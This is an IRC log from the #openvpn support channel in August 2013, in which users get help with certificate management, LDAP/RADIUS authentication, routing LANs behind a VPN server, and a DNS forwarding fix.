07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:34 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:34 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:36 -!- Denial [~Denial@217.39.7.252] has quit [Ping timeout: 240 seconds]
07:54 -!- NChief [~nchief@unaffiliated/nchief] has quit [Ping timeout: 276 seconds]
08:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
08:26 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
08:27 -!- mattock_afk is now known as mattock
09:02 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
09:06 -!- Denial [Denial@94.9.99.190] has joined #openvpn
09:07 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
09:07 -!- vertigo is now known as vert
09:08 -!- vert is now known as vertigo
09:11 -!- p3rror [~p3rror@41.249.90.248] has joined #openvpn
09:12 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:24 -!- Zordrak [~jaz@87-194-137-223.bethere.co.uk] has joined #openvpn
09:25 < Zordrak> I am trying to work out how best to manage /22
09:25 < Zordrak> ahem.. apologies.. ::
09:25 < Zordrak> I am trying to work out how best to manage users for a central-auth openvpn system where certificates will be mandatory
09:26 < Zordrak> I have a FreeIPA authentication infrastructure; and so I imagine the only way to do username/password authentication will be to use ldap lookup
09:27 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 240 seconds]
09:27 < Zordrak> But as for managing certificates; is there a more clean method that using the scripts provided to manually manage certs in the FS of the openvpn server and scp them out for givign to users?
09:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
09:42 -!- bjh4 [~bjh4@12.239.198.1] has joined #openvpn
09:43 -!- bjh4 [~bjh4@12.239.198.1] has quit [Client Quit]
09:48 < rob0> The proper way for an SSL PKI to operate is for the users to generate their own key and CSR. They email the CSR to the CA, CA signs it and returns the certificate. No special security needed in transit.
09:49 < Zordrak> rob0: all well and good in theory
09:50 < Zordrak> rob0: in practice when you want to have a really good replacement for an existing hate-filled cisco ipsec vpn; but you want to make sure clients at least need a cert as well as their user and pass.. and your clients include your "i have no idea what you just said" CEO
09:50 < Zordrak> things just arent so rosy
09:51 < Zordrak> I'm all up for suggestions on how best to do this
09:52 <+pekster> There exist a couple windows GUI projects to generate keypairs and a CSR the client can mail for platforms like Windows where the users are geenrally especially dense
09:52 <+pekster> Easy-RSA is able to do that too, but it's a CLI collection of scripts
09:53 < Zordrak> hmm. may be that manual management of easy-rsa will be where I return to
09:54 <+pekster> This said, you can just write a tiny GUI to do exactly what you want too and have it just call some openssl code on the backend if you'd prefer to know exactly what's going on without relying on someone else's layers
09:54 <+pekster> There's XCA, a cross-platform GUI app that you can probably ship a "ready to follow these 3 steps to build your keypair/CSR" as well,
09:54 <+pekster> !xca
09:54 <@vpnHelper> "xca" is (#1) XCA is a GUI to create/manage a PKI, much more user-friendly than easy-rsa. or (#2) Example XCA PKI for OpenVPN(writeup pending): https://community.openvpn.net/openvpn/wiki/XCA
09:55 <+pekster> Well, "much more friendly" can be a misnomer since I actually found Easy-RSA more straight-forward, but I'm not a GUI-guy ;)
09:55 < Zordrak> I really wish I had a handle on managing pki and certificates.. always seems like things are easy to manage these days.. until you hit certificate management. IPA tries to handle certificate management for servers and services.. but not users
09:55 < Zordrak> will take a look at xca for the sake of it
09:56 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:56 <+pekster> There's some reading here too:
09:56 <+pekster> !pki
09:56 <@vpnHelper> "pki" is (#1) http://openvpn.net/index.php/open-source/documentation/howto.html#pki for how to make your PKI stuff (ca, and certs) or (#2) Heres a basic rundown of how it works... The server, client, and ca certs are all signed by the same ca.key. The server and client use the ca.crt to check that eachother were signed by the right ca.key. Optionally, the client also checks that the server cert was
09:56 < Zordrak> then i just have to work out if ldap or radius is the way to go for openvpn basic auth
09:56 <@vpnHelper> signed specially as a server (see !servercert)
09:56 < rob0> I started on a much simpler replacement of easy-rsa, not really finished but mostly works: http://rob0.nodns4.us/PicKI/
09:57 <@vpnHelper> Title: PicKI: a simple public key infrastructure tool (at rob0.nodns4.us)
09:57 < Zordrak> since i have a kerberos infra, would seem like radius to kerberos is good; but ive no radius experience to know if im wasting my time bothering
09:57 < rob0> it's scriptable
09:57 < Zordrak> rob0: worth knowing, thanks
09:57 <+pekster> rob0: You've seen my easyrsa3 cocdebase, right? http://pekster.sdf.org/code/projects/easyrsa3.html
09:57 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org)
09:58 <+pekster> Zordrak: fwiw, my easyrsa3 page has a nice "Intro to PKI" section that might be worth reading if you're new to PKI as it talks you through the basics
09:58 < rob0> pekster, no, I have not. One time I looked in easy-rsa to try to figure out how to do the openssl commands, and yikes, it was too complicated.
09:58 < rob0> Mine is much simpler, you can look in there and figure out what it does. I hope. :)
09:58 <+pekster> My code is a bit easier to read for some of it, but openssl is a beast all to itself
09:58 < Zordrak> pekster: im familiar with the general principles.. but managing several different setups in one org is difficult to get ones head around
09:59 < Zordrak> certs for https, certs for user auth, certs for this, certs for tthat
09:59  * pekster shrugs. I've tried to design easyrsa3 to be very friendly to managing as many PKIs as you want
10:00 < rob0> pekster, I will look when I get a chance, thanks.
10:00 < Zordrak> pekster: cant use it for freeipa.. that uses its own. and tries to be a full PKI parent
10:00 < Zordrak> but only to a level
10:00 <+pekster> Can it generate a keypair/CSR for the CA root?
10:00 < Zordrak> there's a real fragmentation of cert management and it all boild down to manual management
10:01 <+pekster> Well, easyrsa3 is able to "import" a CSR from wherever you have it, and can sign subordinate CAs too
10:01 <+pekster> I dunno, I'm very welcome to changes/patches/usability issues (I posted to the dev ML a while back and apparently got no replies/interest. Maybe rolling in a couple of the recent git master changes and pushing a beta-3 to the forums or something would help)
10:02 < Zordrak> I guess I feel like im standing in the valley between peaks.. never been in a position to look down upon a system with all this managed correctly to have an "oooh.. it can be easy" moment
10:02 < rob0> peakster? :)
10:03 < Zordrak> im running to stand still at the moment. in 2 weeks Ive created a whole infrastructure and my mind is swimming
10:03 < Zordrak> trying to trap your pasted links into tabs before i lose my memory stack :p
10:04 < Zordrak> any thoughts on whether its worth doing openvpn -> radius rather than ldap in a kerberised infra?
10:04 <+pekster> Depends on what's easier for your setup really
10:05 < Zordrak> pekster: I'm partially drawn to radius in order to learn it - because I've never had a good reason to and I'd like to
10:05 <+pekster> Assuming they're both ultimately authenticating in the same place, use what works best. PAM has some LDAP support and openvpn can use the PAM auth plugin it ships with, but it might be easier (if you'd rather not manage all the PAM stuff) to have a 20-ish line script send it to a local radiusclient
10:05 < Zordrak> there is a 3rd party radius plugin for openvpn available I think
10:06 <+pekster> openvpn *ships* with one in the sources
10:06 < Zordrak> oh well, there y'og
10:06 < Zordrak> *y'go
10:06 < Zordrak> once I have radius in place - then I may find much more use for it in the rest of the infra I'm creating
10:06 <+pekster> It's the server side that's the issue, since setting up freeradius as a server is a huge pain
10:07 < Zordrak> such as I have a CTO who wants port-based MAC restrictions on switches which will totally screw with users and viruals and I figure radius could help make a better solution
10:07 -!- p3rror [~p3rror@41.249.90.248] has quit [Ping timeout: 264 seconds]
10:07 < Zordrak> also trying to keep as much on kerberos as possible since ive gone to the trouble of doing kerberos and may integrate trust with an AD server in the medium term
10:11 < Zordrak> ok, so now, easyrsa2, easyrsa3(beta), PicKI.. arg too much choic
10:11 <+pekster> rob0: The big benefit (besides supporting a bit more than 2.x) is that easyrsa3 does away with the ugly "city/state/country/OU" nonsense that is completely unnecessary in openvpn. It uses just a CN
10:12 <+pekster> The default mode looks like this now: http://paste.kde.org/p69e1a355/raw/
10:14 < Zordrak> I like and appreciate the effort put into these solutions.. however - purely from the point of view in which im living at the moment -- it seems like the simplest thing for me to do is use the easy-rsa shipped with openvpn and just manually manage the cert creation
10:16 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:17 <+pekster> Sure, it's been out longer and has integrated docs with the official !howto
10:19 < Zordrak> I guess i need to hope the FreeIPA project will implement user-based PKI management one day :)
10:19 < Zordrak> cos in the end I would love to have user certs in the same system as user auth
10:20 <+pekster> Doing it right is tricky, and often specific to a particular implemetnation (for instance, using --tls-remote requires that certain keyUsage and extendedKeyUsage flags be set in the issued cert to your server)
10:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
10:27 < Zordrak> pekster: Just remembered IPA uses dogtag & certmonger at its heart.. im wondering if I should be looking at using those for this
10:28 <+pekster> Use whatever you want; for all it matteres you could invoke openssl a lot every time you wanted RSA or X509 operations performed
10:28 < Zordrak> sure.. I'm just trying to do it right. And since I already have what is effectively a root authority inside IPA.. makes sense to see if I can extend that to the VPN certs
10:33 < Zordrak> just wish it was simpler.. dogtag is almost as complicated as using openssl directly
10:38 < Zordrak> no.. seems clear dogtag is not ready for user cert management, only services/hosts
10:45 -!- Dougy [~dougwork@static-98-109-158-66.nwrknj.fios.verizon.net] has joined #openvpn
10:49 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
10:50  * EugeneKay yawns
10:50 -!- Devastator [~devas@186.214.14.45] has joined #openvpn
10:55 -!- Sazpaimon [~wat@96.227.217.235] has joined #openvpn
10:55 < Dougy> hello krzee and ecrist
10:56 -!- Sazpaimon_ [~wat@unaffiliated/Sazpaimon] has quit [Ping timeout: 240 seconds]
10:57 <@ecrist> hello
10:57 < Dougy> how are you
11:01 -!- m0nky [~m0nky@99-22-20-224.lightspeed.iplsin.sbcglobal.net] has joined #openvpn
11:01 -!- m0nky [~m0nky@99-22-20-224.lightspeed.iplsin.sbcglobal.net] has left #openvpn []
11:04 -!- p3rror [~p3rror@41.249.90.248] has joined #openvpn
11:09 < jeev> wow, douglas maximus
11:23 <@krzee> hello
11:24 < Dougy> i'm alive
11:24 < Dougy> sup krzee
11:24 < Dougy> still making trouble?
11:39 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
12:05 -!- brucelee [~peter@69-12-252-50.dedicated.static.sonic.net] has quit [Read error: Connection reset by peer]
12:07 <@krzee> yep :D
12:07 <@krzee> just making $ til the gov comes with a NSL and shoves it up my *ss
12:08 <@krzee> (at which point i'll pull a lavabit, "we dont store records, and we'ld rather shut down our servers than start")
12:08 <@krzee> not looking forward to that day
12:11 -!- deadbum [~moroni@c-69-143-186-19.hsd1.va.comcast.net] has left #openvpn []
12:18 -!- crus [~crusader@2001:44b8:319e:2900:ed90:3935:47f3:79db] has quit [Read error: Connection reset by peer]
12:31 <@ecrist> wow, jeev
12:33 < jeev> hi
12:33 < jeev> Dougy, tons of problems with the x10.
12:34 < jeev> i had to blacklist ast and mei_me/mei
12:36 <@ecrist> x10?
12:37 < Dougy> ecrist: supermicro mobo series
12:53 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
12:53 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Max SendQ exceeded]
12:54 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
12:55 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
12:55 -!- nwru [~no@107-214-41-163.lightspeed.wepbfl.sbcglobal.net] has joined #openvpn
12:58 < nwru> !welcome
12:58 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
12:58 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
13:00 < nwru> !route
13:00 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
13:00 <@vpnHelper> the server or client
13:10 < Mike--> !/30
13:10 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
13:25 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
13:28 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
13:36 -!- Devastator [~devas@186.214.14.45] has quit [Changing host]
13:36 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
13:40 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:47 < unixman9000> Has anyone had experience setting up RSA's securid to work with openvpn?
13:48 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
13:48 <@ecrist> you asked on the mailing list, irrc
13:48 -!- nosuid [~nosuid@unaffiliated/nosuid] has joined #openvpn
13:48 < unixman9000> no, Im not on the mailing list, sorry.
13:49 < unixman9000> Was this addressed in a mailing list?
13:49 < nosuid> The easy-rsa package that comes with ovpn used md5 for hashing. Not cool?
13:49 <+pekster> nosuid: Fixed in git master. I also have a successor (in beta now) linked at !easyrsa3
13:50 <+pekster> See !easyrsa for the 2.x git sources if you'd prefer
13:50 <@ecrist> unixman9000: I'm getting the archive link
13:50 <@ecrist> http://sourceforge.net/p/openvpn/mailman/message/31280529/
13:51 <@vpnHelper> Title: OpenVPN / Mailing Lists (at sourceforge.net)
13:52 < unixman9000> Thanks, ecrist. Much appreciated. I will read through this.
14:01 -!- nosuid [~nosuid@unaffiliated/nosuid] has quit [Quit: .]
14:06 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
14:30 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has joined #openvpn
14:31 < nwru> !clientlan
14:31 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a
14:31 <@vpnHelper> better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
14:49 -!- Denial [Denial@94.9.99.190] has quit []
14:55 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
14:58 -!- eph3meral [~johncarte@97-118-163-231.hlrn.qwest.net] has joined #openvpn
15:21 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
15:41 -!- eph3meral [~johncarte@97-118-163-231.hlrn.qwest.net] has quit [Ping timeout: 276 seconds]
16:10 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
16:16 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
16:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
16:32 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
16:33 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has joined #openvpn
16:39 -!- zoidberg- [~zoidberg@94.23.170.2] has joined #openvpn
16:41 < zoidberg-> Hello, I have a strange issue.  I followed this guide: https://help.ubuntu.com/13.04/serverguide/openvpn.html - to get Openvpn up and running, it gives the openvpn server an ip of 10.8.0.1 and i have another network on that server 10.0.0.0/24 so i added push "route 10.0.0.0 netmask 255.255.255.0" to the server.conf, yet i still can't reach it from the client?
16:41 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
16:41 < zoidberg-> Is there another option other than the push "" to get the client to be able to see the other subnet?
16:41 <+pekster> zoidberg-, you want to see,
16:41 <+pekster> !serverlan
16:42 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
16:42 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
16:42 <+pekster> See also the official howto at !howto (others are not supported as many of them are wrong or outdated)
16:44 < zoidberg-> sweet just figured it out
16:44 < zoidberg-> i had to enable ip_forwarding on the vpn server itself!
16:44 < zoidberg-> :)
16:44 < zoidberg-> but yeah :)
16:45 < zoidberg-> thank you.
16:47 -!- zoidberg- [~zoidberg@94.23.170.2] has quit [Read error: Connection reset by peer]
16:51 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
17:07 -!- zoidberg- [~zoidberg@94.23.170.2] has joined #openvpn
17:19 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
17:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
17:23 -!- zoidberg- [~zoidberg@94.23.170.2] has quit [Read error: Connection reset by peer]
17:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
17:23 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Remote host closed the connection]
17:24 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
17:25 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Client Quit]
17:32 -!- zoidberg- [~zoidberg@94.23.170.2] has joined #openvpn
17:34 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
17:42 -!- devdel [~d3vd3l@h-237-75.a199.priv.bahnhof.se] has quit []
17:50 -!- zoidberg- [~zoidberg@94.23.170.2] has quit [Read error: Connection reset by peer]
17:55 -!- zoidberg- [~zoidberg@94.23.170.2] has joined #openvpn
18:01 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
18:08 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
18:09 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:26 -!- p3rror [~p3rror@41.249.90.248] has quit [Ping timeout: 276 seconds]
18:36 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:36 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
18:43 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:57 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 245 seconds]
19:19 -!- nwru2 [~no@107-214-41-163.lightspeed.wepbfl.sbcglobal.net] has joined #openvpn
19:20 -!- nwru [~no@107-214-41-163.lightspeed.wepbfl.sbcglobal.net] has quit [Ping timeout: 246 seconds]
20:01 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has joined #openvpn
20:26 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
20:29 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
20:42 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 276 seconds]
20:59 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:18 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 246 seconds]
21:22 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:26 -!- soulisson [~soulisson@41.143.58.123] has joined #openvpn
21:35 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
21:37 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 264 seconds]
21:39 -!- speed_racer84 [~speed_rac@c-76-30-144-32.hsd1.tx.comcast.net] has quit [Ping timeout: 264 seconds]
21:43 < soulisson> Hi, i don't know anything about openvpn but before diving into it i want to know if if i want to do is feasible with openvpn
21:44 < soulisson> i want to set up a connection between a remote host on the internet and a server inside my lan
21:44 < soulisson> this connection must allow the client to reach the hosts on the lan
21:45 < soulisson> but the trafic has to be seen by the other hosts with the server ip address and mac address
21:45 <+pekster> NAT is your host's responsibility, but otherwise this is a very common use-case. See:
21:46 < Dar1us> soulisson: why not just use ssh -D and tell stuff on the remote host to use the ssh -D as a SOCKS proxy
21:46 <+pekster> !serverlan
21:46 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
21:46 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
21:46 <+pekster> SOCKS is for tcp sessions only, while OpenVPN in tun can transport any IP packet; they solve different problems
21:48 < Dar1us> well yes, but it can be a lot easier to setup :)
21:48 < Dar1us> FYI SOCKS can do UDP
21:49 < soulisson> pekster, yes, but that's the problem, i don't want to set up new routes on my router
21:49 <+pekster> Then use NAT
21:49 <+pekster> As I noted earlier
21:53 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
21:53 < soulisson> This link seems to have a nice tutorial about what i want to do http://opensource-openmind.blogspot.com/2007/12/setting-up-openvpn-server-behind-router.html
21:53 <@vpnHelper> Title: opensource-openmind: Setting up an OpenVPN server behind a router (nat) and ALL client traffic pass through server (at opensource-openmind.blogspot.com)
21:56 <+pekster> All you need is also explained in the !serverlan link above and knowledge of your OS mechanism for NAT. That "guide" also includes recommendations I think are not helpful, like redirection by default (!redirect, may not be what you want), duplicate-cn (not recommended unless you ned it) and ipp, also not recommended
21:56 <+pekster> The only official guide is !howto
21:56 <+pekster> !blog
21:56 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
21:57 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
21:58 <+pekster> Use the official guides, not poorly written blogs
21:58 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
22:00 < soulisson> pekster, ok, thanks
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:01 -!- soulisson [~soulisson@41.143.58.123] has quit [Read error: Connection reset by peer]
22:45 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:46 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Read error: Operation timed out]
22:51 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
23:39 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
23:39 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
23:42 -!- nwru2 is now known as nwru
23:55 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
--- Day changed Fri Aug 16 2013
00:04 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Quit: Leaving.]
00:04 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
00:09 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
00:14 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
00:21 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has joined #openvpn
00:33 -!- AlHafoudh [~textual@dsl-static-173.212-5-200.telecom.sk] has quit [Quit: Computer has gone to sleep.]
00:34 -!- arnotixe_ [~arno@212.4.55.139] has joined #openvpn
01:07 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
01:08 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:14 -!- arnotixe_ [~arno@212.4.55.139] has quit [Ping timeout: 245 seconds]
01:30 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:34 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:35 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 268 seconds]
01:38 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
02:33 -!- mattock is now known as mattock_afk
03:01 -!- Fr0ntSight [~ian@cpe-76-87-81-229.socal.res.rr.com] has joined #openvpn
03:19 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
03:28 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Ping timeout: 240 seconds]
03:32 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has joined #openvpn
03:39 -!- truexfan81 [truexfan81@unaffiliated/truexfan81] has joined #openvpn
03:40 < truexfan81> any way to find out why the client is failing to connect when it is not creating a log file?
04:24 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
04:27 -!- mattock_afk is now known as mattock
05:04 -!- gucki [~gucki@84-72-9-220.dclient.hispeed.ch] has joined #openvpn
05:04 < gucki> hi guys
05:04 < gucki> is there any way to disable the assignment of an ip address to the client's tap device? (i'm using bridged mode)
05:17 -!- napnap [~napnap@95-141-110-114.stella-net.net] has joined #openvpn
05:20 < napnap> Hi all, I test openvpn right now, all seems to be good expect one thing. I don't have DNS resolving on client. I run the server on CentOS, my client is windows. On server side, the conf contains DNS push, the client had same DNS (ipconfig /all) , the client can reach the WEB with IP, the server can resolv DN...but why client can't resolve name ?
05:21 < napnap> If you have any idea, it's welcome :-)
05:40 < kisom> napnap: Your client is probably not pulling
05:40 < kisom> Or whatever DNS address you're pushing out does not exist
05:49 < napnap> kisom, I don't clearly understand what "not pulling" that means (The client has good dns, same IP in server.conf push directive) and sure, DNS address exist. I tested several, like "8.8.8.8" & "8.8.4.4"
05:54 < napnap> perhaps an iptable problems ? (right now, iptabel NAT my vpn and accept DNS traffic from my server to the WEB, but perhaps do I write a thing to accept DNS traffic from VPN network to the WEB ..??)
06:02 < napnap> solved...I added "iptables -I FORWARD -p udp --dport 53 -j ACCEPT" and all works fine :-)
06:03 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:12 < kisom> napnap: OK, I assumed you were forwarding everything in iptables.
06:12 < kisom> Good you sorted it out :)
06:27 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
06:30 -!- Denial [Denial@94.9.99.190] has joined #openvpn
06:49 < Zordrak> pekster: I went with easy-rsa v2 in the end
06:50 < Zordrak> pekster: Now just trying to decide on authentication system (ldap/kerberos/radius/pam)
06:53 -!- MariusIT [~MariusIT@91.201.195.240] has joined #openvpn
07:01 -!- torkel_ [~torkel@38.84-234-168.customer.lyse.net] has joined #openvpn
07:03 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
07:03 -!- Devastator [~devas@177.18.197.153] has joined #openvpn
07:21 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has joined #openvpn
07:21 -!- klein [~klein@189-016-006-003.asselvi.edu.br] has quit [Changing host]
07:21 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
07:33 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:41 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:44 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 23.0/20130730113002]]
07:53 -!- Devastator [~devas@177.18.197.153] has quit [Changing host]
07:53 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
08:02 -!- fluid`wrk [~fluidwrk@pat.westrope.com] has joined #openvpn
08:02 < fluid`wrk> what up dudes
08:02 < fluid`wrk> !goal
08:02 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
08:02 < fluid`wrk> My goal is I'm looking for a nice little cheap openvpn appliance to do site-to-site
08:02 < fluid`wrk> does such a thing exist!
08:02 < fluid`wrk> I think Pi is too underpowered
08:05 < Zordrak> Has anyone worked out how to do auth-user-pass on the android client?
08:05 < Zordrak> ive got as far as trying to get it to read a text file but i dont know where its trrying to open it, only that it cant see it
08:05 < Zordrak> though id rather be prompted
08:07 < fluid`wrk> zordrak
08:07 < fluid`wrk> you sound smart
08:08 < fluid`wrk> do you know the answer to my question
08:08 < Zordrak> fluid`wrk: mikrotik
08:08 < fluid`wrk> hmm
08:09 < fluid`wrk> do you know what kind of throughput they achieve?
08:11 < kisom> fluid`wrk: How large sites are we talking about? What is your expected troughput?
08:11 < fluid`wrk> not large
08:11 < fluid`wrk> two home networks
08:12 < fluid`wrk> I'm looking for 50 if I can get it
08:12 < fluid`wrk> 50mbps
08:12 < kisom> Then a Raspi will do just fine
